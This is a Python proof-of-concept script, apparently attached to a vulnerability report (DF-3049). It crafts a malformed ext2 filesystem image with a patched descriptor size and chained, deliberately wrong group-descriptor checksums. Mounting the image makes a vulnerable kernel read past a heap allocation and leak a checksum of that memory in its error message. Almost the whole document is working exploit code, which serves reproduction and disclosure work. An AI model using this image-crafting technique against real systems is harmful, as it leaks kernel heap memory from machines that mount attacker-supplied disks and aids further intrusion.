DF-3049 / craft.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | #!/usr/bin/env python3 """Craft the DF-3049 trigger image: metadata_csum fs, NO 64BIT feature, s_desc_size patched to 512 (never validated without 64BIT). Group descriptors 0..62 get correctly recomputed csums under the desc_size=512 semantics ext2_gd_csum() will use, group 63's stored csum is left wrong, so the mount fails exactly at group 63 and kprintf()s the "expected" value -- which is crc32c over gd[63]+32 .. gd[63]+512, i.e. 32 in-image bytes plus 448 bytes of kernel heap READ PAST the 4096-byte e2fs_gd allocation. Usage: craft.py <out.img> """ import struct, subprocess, sys SB_OFF = 1024 GD_BLK = 2 # first gd block (bsize 1024, first_data_block 1) # ---- crc32c (Castagnoli, reflected, chained seed, no inversions) ---- POLY = 0x82F63B78 _T = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ (POLY if c & 1 else 0) _T.append(c) def crc32c(crc, data): for b in data: crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8) return crc & 0xFFFFFFFF def rd(f, off, n): f.seek(off); return f.read(n) def u16(b, o): return struct.unpack_from('<H', b, o)[0] def p16(b, o, v): struct.pack_into('<H', b, o, v) def p32(b, o, v): struct.pack_into('<I', b, o, v) DESC_SIZE = 512 NGROUPS = 64 # 64 * 8192 + 1 blocks of 1K = 524289 * 1024 bytes def main(out): subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024', '-I', '128', '-N', str(NGROUPS * 64), '-O', 'metadata_csum,^64bit,^has_journal', out, str(NGROUPS * 8192 + 1)], check=True) f = open(out, 'r+b') sb = bytearray(rd(f, SB_OFF, 1024)) assert u16(sb, 0x38) == 0xEF53 bcount = struct.unpack_from('<I', sb, 4)[0] gcount = (bcount - 1 + 8192 - 1) // 8192 print("gcount =", gcount, "bcount =", bcount) assert gcount == NGROUPS uuid = bytes(sb[0x68:0x78]) seed = crc32c(0xFFFFFFFF, uuid) # METADATA_CKSUM w/o CSUM_SEED # patch desc_size, refresh sb checksum p16(sb, 0xFE, DESC_SIZE) p32(sb, 0x3FC, crc32c(0xFFFFFFFF, bytes(sb[:0x3FC]))) # ---- rebuild gd csums for groups 0..62 under desc_size=512 semantics # in-memory gd array entry i (64B): [disk32(i)][32 zero bytes] disk = [] # disk 32-byte descriptors (mutable csum field) for i in range(NGROUPS): d = bytearray(rd(f, GD_BLK * 1024 + i * 32, 32)) disk.append(d) def memrange(i, start, length): """bytes of the in-memory gd array starting at entry i + start, for length bytes, using current disk[] contents""" out = bytearray() pos = i * 64 + start while len(out) < length: e, o = divmod(pos, 64) if e >= NGROUPS: out += b'\x00' * (length - len(out)) # past-end: kernel heap break if o < 32: out += bytes(disk[e][o:32]) else: out += b'\x00' * (64 - o) pos += 64 - o if o >= 32 else 32 - o return bytes(out[:length]) def gd_csum(i): c = crc32c(seed, struct.pack('<I', i)) c = crc32c(c, bytes(disk[i][0:30])) c = crc32c(c, b'\x00\x00') c = crc32c(c, memrange(i, 32, DESC_SIZE - 32)) return c & 0xFFFF # group 63's deliberately-wrong csum must be set BEFORE the solve: # group 56's tail (last fully in-bounds one) includes entry 63. p16(disk[NGROUPS - 1], 30, 0xDEAD) # backward solve: csum[i] depends on csum[i+1..i+7] (inside tails) for i in range(NGROUPS - 2, -1, -1): p16(disk[i], 30, gd_csum(i)) # in-bounds-only (zero-padded) prediction for group 57 -- what the # kernel would print if it did NOT read past the gd allocation: inbounds57 = gd_csum(NGROUPS - 7) print("group 57 zero-padded (in-bounds-only) csum = 0x%04x" % inbounds57) for i in range(NGROUPS): f.seek(GD_BLK * 1024 + i * 32); f.write(disk[i]) f.seek(SB_OFF); f.write(sb) f.close() print("OK wrote", out) print("expected console: 'bad gd=%d csum=0xdead expected=0x????'" % (NGROUPS - 1)) if __name__ == '__main__': main(sys.argv[1]) |